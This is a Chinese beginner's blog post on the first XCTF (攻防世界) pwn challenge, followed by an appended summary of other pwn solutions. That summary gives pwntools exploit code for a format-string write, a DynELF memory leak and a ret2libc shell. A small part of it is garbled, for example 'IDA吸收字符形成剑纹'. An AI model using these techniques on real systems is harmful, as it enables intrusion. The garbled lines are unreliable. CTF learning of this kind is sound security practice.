攻防世界pwn第一题

  emmmmm,本人是一只刚刚学pwn的菜鸟(看写的题目也知道),这也算是自己第一次写pwn题吧,想保持一下,因此便有了此篇博客。话不多说,我们开始。

  首先创建生成模拟环境,下载附件。

查看保护类型(什么都没有,233333)

习惯性拖进IDA看看,由于汇编才刚刚开始,所以还是按F5看C语言源代码算了 。然后,果然,运行就能给flag

最后链接靶机???(不知道叫啥,就叫这个算了),然后就这样出来了,就是要稍微注意一下,链接的时候需要把55775前面的:去掉。

   好啦,就这样写完了,溜了溜了,就是想记录一下,再见,等我做出下一题再来,嘿嘿。

攻防世界平台中部分pwn目及解方法如下: - **签到**:这是一道简单的目,无需额外操作,直接可获得shell并拿到flag。使用Python的`pwn`库编写代码,通过`remote`函数连接到指定的IP和端口,使用`interactive`函数与目标交互,最后关闭连接。示例代码如下: ```python from pwn import * r = remote("111.198.29.45", 59457) r.interactive() r.close() ``` [^1] - **利用printf返回字符个数特性的目**:思路是利用`printf`返回字符个数的特性,把`pwnme`改成8。构造的`payload`包含`pwnme`的地址、填充字符和格式化字符串`%10$n`。通过`remote`函数连接目标,依次接收提示信息并发送相应内容,最后使用`interactive`函数与目标交互。示例代码如下: ```python from pwn import * pwnme_addr = 0x804A068 payload = p32(pwnme_addr) + 'a'*4 + '%10$n' r = remote('111.200.241.244', 55843) r.recvuntil('name:') r.sendline('233') r.recvuntil('please:') r.sendline(payload) r.interactive() ``` [^2] - **[GFSJ0469] string目**:解过程中使用IDA工具分析程序,将其插在第13行和第14行中间,获取`v4[0]`和`v4[1]`的地址,IDA吸收字符形成剑纹辅助解 [^3]。 - **pwn - 200目**: - **leak基本构造思路**:构造`leak`函数,其基本构造为112个`A`加上`write_plt`、漏洞存在函数的地址、`write`的第一个参数、`leak`函数的参数(给`DyELF`使用)和`write`的参数(打印8位地址使用)。通过`send`函数发送`payload`,接收数据并返回。使用`DynELF`查找`system`函数地址。示例代码如下: ```python def leak(address): payload = 'A'*junk + p32(write_plt) + p32(func_addr) + p32(1) + p32(address) + p32(4) r.send(payload) data = r.recv(4) print(data) return data dyn = DynELF(leak, elf=ELF('./pwn200')) sys_addr = dyn.lookup('system', libc) print('system address:', hex(sys_addr)) ``` [^4] - **leek出write地址返回main的解方法**:先leek出`write`地址,返回`main`,计算偏移找到`system`和`/bin/sh`的位置以获得shell。使用`pwn`和`LibcSearcher`库,通过`remote`函数连接目标,构造不同的`payload`发送,接收数据并进行相应处理。示例代码如下: ```python from pwn import * from LibcSearcher import * p = remote("111.200.241.244", 33327) elf = ELF('./pwn') write_got = elf.got['write'] write_plt = elf.plt['write'] main_addr = 0x080484BE payload = 'a' * (0x6c + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(8) p.recvline() p.sendline(payload) write_addr = u32(p.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') payload = 'a' * (0x6c + 0x4) + p32(system_addr) + 'junk' + p32(binsh) p.sendline(payload) p.interactive() ``` [^5]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值